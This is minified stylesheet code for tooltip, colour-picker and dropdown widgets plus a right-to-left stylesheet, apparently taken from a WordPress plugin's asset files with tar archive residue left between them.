.qtip-icon .ui-icon:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}.qtip:not(.ie9haxors) div.qtip-content,.qtip:not(.ie9haxors) div.qtip-titlebar{filter:none;-ms-filter:none}.qtip .qtip-tip{margin:0 auto;overflow:hidden;z-index:10}.qtip .qtip-tip,x:-o-prefocus{visibility:hidden}.qtip .qtip-tip,.qtip .qtip-tip .qtip-vml,.qtip .qtip-tip canvas{position:absolute;color:#123456;background:0 0;border:0 dashed transparent}.qtip .qtip-tip canvas{top:0;left:0}.qtip .qtip-tip .qtip-vml{behavior:url(#default#VML);display:inline-block;visibility:visible}#qtip-overlay{position:fixed;left:0;top:0;width:100%;height:100%}#qtip-overlay.blurs{cursor:pointer}#qtip-overlay div{position:absolute;left:0;top:0;width:100%;height:100%;background-color:#000;opacity:.7;filter:alpha(opacity=70);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=70)"}.qtipmodal-ie6fix{position:absolute!important}.sp-container{position:absolute;top:0;left:0;display:inline-block;z-index:9999994;overflow:hidden}.sp-container.sp-flat{position:relative}.sp-container,.sp-container *{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.sp-top{position:relative;width:100%;display:inline-block}.sp-top-inner{position:absolute;top:0;left:0;bottom:0;right:0}.sp-color{position:absolute;top:0;left:0;bottom:0;right:20%}.sp-hue{position:absolute;top:0;right:0;bottom:0;left:84%;height:100%}.sp-clear-enabled .sp-hue{top:33px;height:77.5%}.sp-fill{padding-top:80%}.sp-sat,.sp-val{position:absolute;top:0;left:0;right:0;bottom:0}.sp-alpha-enabled .sp-top{margin-bottom:18px}.sp-alpha-enabled .sp-alpha{display:block}.sp-alpha-handle{position:absolute;top:-4px;bottom:-4px;width:6px;left:50%;cursor:pointer;border:1px solid #000;background:#fff;opacity:.8}.sp-alpha{display:none;bottom:-14px;right:0;left:0;height:8px}.sp-alpha-inner{border:1px solid #333}.sp-clear{display:none}.sp-clear.sp-clear-display{background-position:center}.sp-clear-enabled .sp-clear{display:block;position:absolute;top:0;right:0;bottom:0;left:84%;height:28px}.sp-alpha,.sp-alpha-handle,.sp-clear,.sp-container,.sp-container button,.sp-container.sp-dragging .sp-input,.sp-dragger,.sp-preview,.sp-replacer,.sp-slider{-webkit-user-select:none;-moz-user-select:-moz-none;-o-user-select:none;user-select:none}.sp-container.sp-buttons-disabled .sp-button-container,.sp-container.sp-input-disabled .sp-input-container,.sp-container.sp-palette-buttons-disabled .sp-palette-button-container,.sp-initial-disabled .sp-initial,.sp-palette-disabled .sp-palette-container,.sp-palette-only .sp-picker-container{display:none}.sp-sat{background-image:-webkit-gradient(linear,0 0,100% 0,from(#FFF),to(rgba(204,154,129,0)));background-image:-webkit-linear-gradient(left,#FFF,rgba(204,154,129,0));background-image:-moz-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:-o-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:-ms-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:linear-gradient(to right,#fff,rgba(204,154,129,0));-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType = 1, startColorstr=#FFFFFFFF, endColorstr=#00CC9A81)";filter:progid:DXImageTransform.Microsoft.gradient(GradientType=1, startColorstr='#FFFFFFFF', endColorstr='#00CC9A81')}.sp-val{background-image:-webkit-gradient(linear,0 100%,0 0,from(#000),to(rgba(204,154,129,0)));background-image:-webkit-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-moz-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-o-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-ms-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:linear-gradient(to top,#000,rgba(204,154,129,0));-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#00CC9A81, endColorstr=#FF000000)";filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00CC9A81', endColorstr='#FF000000')}.sp-hue{background:-moz-linear-gradient(top,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);background:-ms-linear-gradient(top,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);background:-o-linear-gradient(top,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);background:-webkit-gradient(linear,left top,left bottom,from(red),color-stop(.17,#ff0),color-stop(.33,#0f0),color-stop(.5,#0ff),color-stop(.67,#00f),color-stop(.83,#f0f),to(red));background:-webkit-linear-gradient(top,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);background:linear-gradient(to bottom,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%)}.sp-1{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0000', endColorstr='#ffff00')}.sp-2{height:16%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffff00', endColorstr='#00ff00')}.sp-3{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ff00', endColorstr='#00ffff')}.sp-4{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ffff', endColorstr='#0000ff')}.sp-5{height:16%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0000ff', endColorstr='#ff00ff')}.sp-6{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff00ff', endColorstr='#ff0000')}.sp-hidden{display:none!important}.sp-cf:after,.sp-cf:before{content:"";display:table}.sp-cf:after{clear:both}@media (max-device-width:480px){.sp-color{right:40%}.sp-hue{left:63%}.sp-fill{padding-top:60%}}.sp-dragger{border-radius:5px;height:5px;width:5px;border:1px solid #fff;background:#000;cursor:pointer;position:absolute;top:0;left:0}.sp-slider{position:absolute;top:0;cursor:pointer;height:3px;left:-1px;right:-1px;border:1px solid #000;background:#fff;opacity:.8}.sp-container{border-radius:0;background-color:#ECECEC;border:1px solid #f0c49B;padding:0}.sp-clear,.sp-color,.sp-container,.sp-container button,.sp-container input,.sp-hue{font:400 12px "Lucida Grande","Lucida Sans Unicode","Lucida Sans",Geneva,Verdana,sans-serif;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.sp-top{margin-bottom:3px}.sp-clear,.sp-color,.sp-hue{border:1px solid #666}.sp-input-container{float:right;width:100px;margin-bottom:4px}.sp-initial-disabled .sp-input-container{width:100%}.sp-input{font-size:12px!important;border:1px inset;padding:4px 5px;margin:0;width:100%;background:0 0;border-radius:3px;color:#222}.sp-input:focus{border:1px solid orange}.sp-input.sp-validation-error{border:1px solid red;background:#fdd}.sp-palette-container,.sp-picker-container{float:left;position:relative;padding:10px 10px 300px;margin-bottom:-290px}.sp-picker-container{width:172px;border-left:solid 1px #fff}.sp-palette-container{border-right:solid 1px #ccc}.sp-palette-only .sp-palette-container{border:0}.sp-palette .sp-thumb-el{display:block;position:relative;float:left;cursor:pointer}.sp-palette .sp-thumb-el.sp-thumb-active,.sp-palette .sp-thumb-el:hover{border-color:orange}.sp-initial{float:left;border:1px solid #333}.sp-initial span{width:30px;height:25px;border:none;display:block;float:left;margin:0}.sp-initial .sp-clear-display{background-position:center}.sp-button-container,.sp-palette-button-container{float:right}.sp-replacer{margin:0;overflow:hidden;cursor:pointer;padding:4px;display:inline-block;border:1px solid #91765d;background:#eee;color:#333;vertical-align:middle}.sp-replacer.sp-active,.sp-replacer:hover{border-color:#F0C49B;color:#111}.sp-replacer.sp-disabled{cursor:default;border-color:silver;color:silver}.sp-dd{padding:2px 0;height:16px;line-height:16px;float:left;font-size:10px}.sp-preview{width:25px;height:20px;border:1px solid #222;margin-right:5px;float:left;z-index:0}.sp-palette{max-width:220px}.sp-palette .sp-thumb-el{width:16px;height:16px;margin:2px 1px;border:1px solid #d0d0d0}.sp-container{padding-bottom:0}.sp-container button{background-color:#eee;background-image:-webkit-linear-gradient(top,#eee,#ccc);background-image:-moz-linear-gradient(top,#eee,#ccc);background-image:-ms-linear-gradient(top,#eee,#ccc);background-image:-o-linear-gradient(top,#eee,#ccc);background-image:linear-gradient(to bottom,#eee,#ccc);border:1px solid #ccc;border-bottom:1px solid #bbb;border-radius:3px;color:#333;font-size:14px;line-height:1;padding:5px 4px;text-align:center;text-shadow:0 1px 0 #eee;vertical-align:middle}.sp-container button:hover{background-color:#ddd;background-image:-webkit-linear-gradient(top,#ddd,#bbb);background-image:-moz-linear-gradient(top,#ddd,#bbb);background-image:-ms-linear-gradient(top,#ddd,#bbb);background-image:-o-linear-gradient(top,#ddd,#bbb);background-image:linear-gradient(to bottom,#ddd,#bbb);border:1px solid #bbb;border-bottom:1px solid #999;cursor:pointer;text-shadow:0 1px 0 #ddd}.sp-container button:active{border:1px solid #aaa;border-bottom:1px solid #888;-webkit-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-moz-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-ms-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-o-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee}.sp-cancel{font-size:11px;color:#d93f3f!important;margin:0 5px 0 0;padding:2px;vertical-align:middle;text-decoration:none}.sp-cancel:hover{color:#d93f3f!important;text-decoration:underline}.sp-palette span.sp-thumb-active,.sp-palette span:hover{border-color:#000}.sp-alpha,.sp-preview,.sp-thumb-el{position:relative;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.sp-alpha-inner,.sp-preview-inner,.sp-thumb-inner{display:block;position:absolute;top:0;left:0;bottom:0;right:0}.sp-palette .sp-thumb-inner{background-position:50% 50%;background-repeat:no-repeat}.sp-palette .sp-thumb-light.sp-thumb-active .sp-thumb-inner{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAIVJREFUeNpiYBhsgJFMffxAXABlN5JruT4Q3wfi/0DsT64h8UD8HmpIPCWG/KemIfOJCUB+Aoacx6EGBZyHBqI+WsDCwuQ9mhxeg2A210Ntfo8klk9sOMijaURm7yc1UP2RNCMbKE9ODK1HM6iegYLkfx8pligC9lCD7KmRof0ZhjQACDAAceovrtpVBRkAAAAASUVORK5CYII=)}.sp-palette .sp-thumb-dark.sp-thumb-active .sp-thumb-inner{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAMdJREFUOE+tkgsNwzAMRMugEAahEAahEAZhEAqlEAZhEAohEAYh81X2dIm8fKpEspLGvudPOsUYpxE2BIJCroJmEW9qJ+MKaBFhEMNabSy9oIcIPwrB+afvAUFoK4H0tMaQ3XtlrggDhOVVMuT4E5MMG0FBbCEYzjYT7OxLEvIHQLY2zWwQ3D+9luyOQTfKDiFD3iUIfPk8VqrKjgAiSfGFPecrg6HN6m/iBcwiDAo7WiBeawa+Kwh7tZoSCGLMqwlSAzVDhoK+6vH4G0P5wdkAAAAASUVORK5CYII=)}.sp-clear-display{background-repeat:no-repeat;background-position:center;background-image:url(data:image/gif;base64,R0lGODlhFAAUAPcAAAAAAJmZmZ2dnZ6enqKioqOjo6SkpKWlpaampqenp6ioqKmpqaqqqqurq/Hx8fLy8vT09PX19ff39/j4+Pn5+fr6+vv7+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAAUABQAAAihAP9FoPCvoMGDBy08+EdhQAIJCCMybCDAAYUEARBAlFiQQoMABQhKUJBxY0SPICEYHBnggEmDKAuoPMjS5cGYMxHW3IiT478JJA8M/CjTZ0GgLRekNGpwAsYABHIypcAgQMsITDtWJYBR6NSqMico9cqR6tKfY7GeBCuVwlipDNmefAtTrkSzB1RaIAoXodsABiZAEFB06gIBWC1mLVgBa0AAOw==)}.select2-container{margin:0;position:relative;display:inline-block;zoom:1;vertical-align:middle}.select2-container,.select2-drop,.select2-search,.select2-search input{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.select2-container .select2-choice{display:block;height:26px;padding:0 0 0 8px;overflow:hidden;position:relative;border:1px solid #aaa;white-space:nowrap;line-height:26px;color:#444;text-decoration:none;border-radius:4px;background-clip:padding-box;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#fff;background-image:-webkit-gradient(linear,left bottom,left top,color-stop(0,#eee),color-stop(.5,#fff));background-image:-webkit-linear-gradient(center bottom,#eee 0,#fff 50%);background-image:-moz-linear-gradient(center bottom,#eee 0,#fff 50%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);background-image:linear-gradient(to top,#eee 0,#fff 50%)}html[dir=rtl] .select2-container .select2-choice{padding:0 8px 0 0}.select2-container.select2-drop-above .select2-choice{border-bottom-color:#aaa;border-radius:0 0 4px 4px;background-image:-webkit-gradient(linear,left bottom,left top,color-stop(0,#eee),color-stop(.9,#fff));background-image:-webkit-linear-gradient(center bottom,#eee 0,#fff 90%);background-image:-moz-linear-gradient(center bottom,#eee 0,#fff 90%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);background-image:linear-gradient(to bottom,#eee 0,#fff 90%)}.select2-container.select2-allowclear .select2-choice .select2-chosen{margin-right:42px}.select2-container .select2-choice>.select2-chosen{margin-right:26px;display:block;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;float:none;width:auto}html[dir=rtl] .select2-container .select2-choice>.select2-chosen{margin-left:26px;margin-right:0}.select2-container .select2-choice abbr{display:none;width:12px;height:12px;position:absolute;right:24px;top:8px;font-size:1px;text-decoration:none;border:0;background:url(select2.png) right top no-repeat;cursor:pointer;outline:0}.select2-container.select2-allowclear .select2-choice abbr{display:inline-block}.select2-container .select2-choice abbr:hover{background-position:right -11px;cursor:pointer}.select2-drop-mask{border:0;margin:0;padding:0;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:9998;background-color:#fff;filter:alpha(opacity=0)}.select2-drop{width:100%;margin-top:-1px;position:absolute;z-index:9999;top:100%;background:#fff;color:#000;border:1px solid #aaa;border-top:0;border-radius:0 0 4px 4px;-webkit-box-shadow:0 4px 5px rgba(0,0,0,.15);box-shadow:0 4px 5px rgba(0,0,0,.15)}.select2-drop.select2-drop-above{margin-top:1px;border-top:1px solid #aaa;border-bottom:0;border-radius:4px 4px 0 0;-webkit-box-shadow:0 -4px 5px rgba(0,0,0,.15);box-shadow:0 -4px 5px rgba(0,0,0,.15)}.select2-drop-active{border:1px solid #5897fb;border-top:none}.select2-drop.select2-drop-above.select2-drop-active{border-top:1px solid #5897fb}.select2-drop-auto-width{border-top:1px solid #aaa;width:auto}.select2-drop-auto-width .select2-search{padding-top:4px}.select2-container .select2-choice .select2-arrow{display:inline-block;width:18px;height:100%;position:absolute;right:0;top:0;border-left:1px solid #aaa;border-radius:0 4px 4px 0;background:#ccc;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#ccc),color-stop(.6,#eee)) #ccc;background:-webkit-linear-gradient(center bottom,#ccc 0,#eee 60%) #ccc;background:-moz-linear-gradient(center bottom,#ccc 0,#eee 60%) #ccc;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#cccccc', GradientType=0);background:linear-gradient(to top,#ccc 0,#eee 60%) #ccc}html[dir=rtl] .select2-container .select2-choice .select2-arrow{left:0;right:auto;border-left:none;border-right:1px solid #aaa;border-radius:4px 0 0 4px}.select2-container .select2-choice .select2-arrow b{display:block;width:100%;height:100%;background:url(select2.png) 0 1px no-repeat}html[dir=rtl] .select2-container .select2-choice .select2-arrow b{background-position:2px 1px}.select2-search{display:inline-block;width:100%;min-height:26px;margin:0;padding-left:4px;padding-right:4px;position:relative;z-index:10000;white-space:nowrap}.select2-search input{width:100%;height:auto!important;min-height:26px;padding:4px 20px 4px 5px;margin:0;outline:0;font-family:sans-serif;font-size:1em;border:1px solid #aaa;border-radius:0;-webkit-box-shadow:none;box-shadow:none;background:url(select2.png) 100% -22px no-repeat #fff;background:url(select2.png) 100% -22px no-repeat,linear-gradient(to bottom,#fff 85%,#eee 99%)}html[dir=rtl] .select2-search input{padding:4px 5px 4px 20px;background:url(select2.png) -37px -22px no-repeat #fff;background:url(select2.png) -37px -22px no-repeat,linear-gradient(to bottom,#fff 85%,#eee 99%)}.select2-drop.select2-drop-above .select2-search input{margin-top:4px}.select2-search input.select2-active{background:url(select2-spinner.gif) 100% no-repeat #fff;background:url(select2-spinner.gif) 100% no-repeat,linear-gradient(to bottom,#fff 85%,#eee 99%)}.select2-container-active .select2-choice,.select2-container-active .select2-choices{border:1px solid #5897fb;outline:0;-webkit-box-shadow:0 0 5px rgba(0,0,0,.3);box-shadow:0 0 5px rgba(0,0,0,.3)}.select2-dropdown-open .select2-choice{border-bottom-color:transparent;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;border-bottom-left-radius:0;border-bottom-right-radius:0;background-color:#eee;background-image:-webkit-gradient(linear,left bottom,left top,color-stop(0,#fff),color-stop(.5,#eee));background-image:-webkit-linear-gradient(center bottom,#fff 0,#eee 50%);background-image:-moz-linear-gradient(center bottom,#fff 0,#eee 50%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);background-image:linear-gradient(to top,#fff 0,#eee 50%)}.select2-dropdown-open.select2-drop-above .select2-choice,.select2-dropdown-open.select2-drop-above .select2-choices{border:1px solid #5897fb;border-top-color:transparent;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,#fff),color-stop(.5,#eee));background-image:-webkit-linear-gradient(center top,#fff 0,#eee 50%);background-image:-moz-linear-gradient(center top,#fff 0,#eee 50%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);background-image:linear-gradient(to bottom,#fff 0,#eee 50%)}.select2-dropdown-open .select2-choice .select2-arrow{background:0 0;border-left:none;filter:none}html[dir=rtl] .select2-dropdown-open .select2-choice .select2-arrow{border-right:none}.select2-dropdown-open .select2-choice .select2-arrow b{background-position:-18px 1px}html[dir=rtl] .select2-dropdown-open .select2-choice .select2-arrow b{background-position:-16px 1px}.select2-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.select2-results{max-height:200px;padding:0 0 0 4px;margin:4px 4px 4px 0;position:relative;overflow-x:hidden;overflow-y:auto;-webkit-tap-highlight-color:transparent}html[dir=rtl] .select2-results{padding:0 4px 0 0;margin:4px 0 4px 4px}.select2-results ul.select2-result-sub{margin:0;padding-left:0}.select2-results li{list-style:none;display:list-item;background-image:none}.select2-results li.select2-result-with-children>.select2-result-label{font-weight:700}.select2-results .select2-result-label{padding:3px 7px 4px;margin:0;cursor:pointer;min-height:1em;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.select2-results-dept-1 .select2-result-label{padding-left:20px}.select2-results-dept-2 .select2-result-label{padding-left:40px}.select2-results-dept-3 .select2-result-label{padding-left:60px}.select2-results-dept-4 .select2-result-label{padding-left:80px}.select2-results-dept-5 .select2-result-label{padding-left:100px}.select2-results-dept-6 .select2-result-label{padding-left:110px}.select2-results-dept-7 .select2-result-label{padding-left:120px}.select2-results .select2-highlighted{background:#3875d7;color:#fff}.select2-results li em{background:#feffde;font-style:normal}.select2-results .select2-highlighted em{background:0 0}.select2-results .select2-highlighted ul{background:#fff;color:#000}.select2-results .select2-ajax-error,.select2-results .select2-no-results,.select2-results .select2-searching,.select2-results .select2-selection-limit{background:#f4f4f4;display:list-item;padding-left:5px}.select2-results .select2-disabled.select2-highlighted{color:#666;background:#f4f4f4;display:list-item;cursor:default}.select2-results .select2-disabled{background:#f4f4f4;display:list-item;cursor:default}.select2-results .select2-selected{display:none}.select2-more-results.select2-active{background:url(select2-spinner.gif) 100% no-repeat #f4f4f4}.select2-results .select2-ajax-error{background:rgba(255,50,50,.2)}.select2-more-results{background:#f4f4f4;display:list-item}.select2-container.select2-container-disabled .select2-choice{background-color:#f4f4f4;background-image:none;border:1px solid #ddd;cursor:default}.select2-container.select2-container-disabled .select2-choice .select2-arrow{background-color:#f4f4f4;background-image:none;border-left:0}.select2-container.select2-container-disabled .select2-choice abbr{display:none}.select2-container-multi .select2-choices{height:auto!important;height:1%;margin:0;padding:0 5px 0 0;position:relative;border:1px solid #aaa;cursor:text;overflow:hidden;background-color:#fff;background-image:-webkit-gradient(linear,0 0,0 100%,color-stop(1%,#eee),color-stop(15%,#fff));background-image:-webkit-linear-gradient(top,#eee 1%,#fff 15%);background-image:-moz-linear-gradient(top,#eee 1%,#fff 15%);background-image:linear-gradient(to bottom,#eee 1%,#fff 15%)}html[dir=rtl] .select2-container-multi .select2-choices{padding:0 0 0 5px}.select2-locked{padding:3px 5px!important}.select2-container-multi .select2-choices{min-height:26px}.select2-container-multi.select2-container-active .select2-choices{border:1px solid #5897fb;outline:0;-webkit-box-shadow:0 0 5px rgba(0,0,0,.3);box-shadow:0 0 5px rgba(0,0,0,.3)}.select2-container-multi .select2-choices li{float:left;list-style:none}html[dir=rtl] .select2-container-multi .select2-choices li{float:right}.select2-container-multi .select2-choices .select2-search-field{margin:0;padding:0;white-space:nowrap}.select2-container-multi .select2-choices .select2-search-field input{padding:5px;margin:1px 0;font-family:sans-serif;font-size:100%;color:#666;outline:0;border:0;-webkit-box-shadow:none;box-shadow:none;background:0 0!important}.select2-container-multi .select2-choices .select2-search-field input.select2-active{background:url(select2-spinner.gif) 100% no-repeat #fff!important}.select2-default{color:#999!important}.select2-container-multi .select2-choices .select2-search-choice{padding:3px 5px 3px 18px;margin:3px 0 3px 5px;position:relative;line-height:13px;color:#333;cursor:default;border:1px solid #aaa;border-radius:3px;-webkit-box-shadow:0 0 2px #fff inset,0 1px 0 rgba(0,0,0,.05);box-shadow:0 0 2px #fff inset,0 1px 0 rgba(0,0,0,.05);background-clip:padding-box;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#e4e4e4;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#f4f4f4', GradientType=0);background-image:-webkit-gradient(linear,0 0,0 100%,color-stop(20%,#f4f4f4),color-stop(50%,#f0f0f0),color-stop(52%,#e8e8e8),color-stop(100%,#eee));background-image:-webkit-linear-gradient(top,#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%);background-image:-moz-linear-gradient(top,#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%);background-image:linear-gradient(to bottom,#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%)}html[dir=rtl] .select2-container-multi .select2-choices .select2-search-choice{margin:3px 5px 3px 0;padding:3px 18px 3px 5px}.select2-container-multi .select2-choices .select2-search-choice .select2-chosen{cursor:default}.select2-container-multi .select2-choices .select2-search-choice-focus{background:#d4d4d4}.select2-search-choice-close{display:block;width:12px;height:13px;position:absolute;right:3px;top:4px;font-size:1px;outline:0;background:url(select2.png) right top no-repeat}html[dir=rtl] .select2-search-choice-close{right:auto;left:3px}.select2-container-multi .select2-search-choice-close{left:3px}html[dir=rtl] .select2-container-multi .select2-search-choice-close{left:auto;right:2px}.select2-container-multi .select2-choices .select2-search-choice .select2-search-choice-close:hover,.select2-container-multi .select2-choices .select2-search-choice-focus .select2-search-choice-close{background-position:right -11px}.select2-container-multi.select2-container-disabled .select2-choices{background-color:#f4f4f4;background-image:none;border:1px solid #ddd;cursor:default}.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice{padding:3px 5px;border:1px solid #ddd;background-image:none;background-color:#f4f4f4}.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice .select2-search-choice-close{display:none;background:0 0}.select2-result-selectable .select2-match,.select2-result-unselectable .select2-match{text-decoration:underline}.select2-offscreen,.select2-offscreen:focus{clip:rect(0 0 0 0)!important;width:1px!important;height:1px!important;border:0!important;margin:0!important;padding:0!important;overflow:hidden!important;position:absolute!important;outline:0!important;left:0!important;top:0!important}.select2-display-none{display:none}.select2-measure-scrollbar{position:absolute;top:-10000px;left:-10000px;width:100px;height:100px;overflow:scroll}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:2dppx){.select2-container .select2-choice .select2-arrow b,.select2-container .select2-choice abbr,.select2-search input,.select2-search-choice-close{background-image:url(select2x2.png)!important;background-repeat:no-repeat!important;background-size:60px 40px!important}.select2-search input{background-position:100% -21px!important}}��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/rtl.css������������������������������������������������������������������0000644�����������������00000003571�14720701300�0013273 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html[dir="rtl"] .redux-container .redux-action_bar{float:left}.redux-container .expand_options,.redux-sidebar,.cb-enable,.cb-disable,.cb-enable span,.cb-disable span,#redux-footer #redux-share{float:right}.redux-main{border-left:0px;margin-left:0px;border-right:1px solid #d8d8d8;margin-right:201px}.redux-main .redux-typography-container .typography-preview{text-align:center !important;direction:ltr !important}.redux-group-tab-link-a{padding-left:0px;padding-right:30px}.redux-group-tab-link-a i{padding-left:10px;padding-right:5px}.redux-group-tab-link-a span.group_title{padding-left:0px;padding-right:30px}.redux_slider{margin-left:0px;margin-right:15px}.redux-action_bar{float:left !important}.expand_options{float:right !important;border:1px solid #f00}.redux_field_th{padding:20px 0 20px 10px !important}.field-desc{text-align:right}.redux-container-ace_editor,.redux-container-border,.redux-container-spacing,.redux-container-dimensions{direction:ltr !important}.redux-container-border .field-border-input,.redux-container-border .redux-color-init,.redux-container-border .redux-border-style,.redux-container-sorter,.redux-container-border,.redux-container-spacing,.redux-container-spacing .field-spacing-input,.redux-container-dimensions .redux-dimensions-container,.redux-container-text label,.redux-container-checkbox input,.typography-font-bar,.typography-style-bar,.redux-color.redux-typography-color,.redux-typography-subsets{float:right !important}.input-append{margin-right:10px;direction:ltr !important}.redux-container-slider,.redux-container-spinner,.redux-container-switch{direction:ltr !important;float:right;margin:0}.redux-info-field .redux-info-icon{margin-left:15px}#redux-share{float:right !important}.redux-sidebar .redux-menu-warning,.redux-sidebar .redux-menu-error,.redux-sidebar .hasSubSections .extraIconSubsections{float:left}.select2-search-choice-close{left:23px !important} ���������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/rtl.css.map��������������������������������������������������������������0000644�����������������00000002025�14720701300�0014040 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": 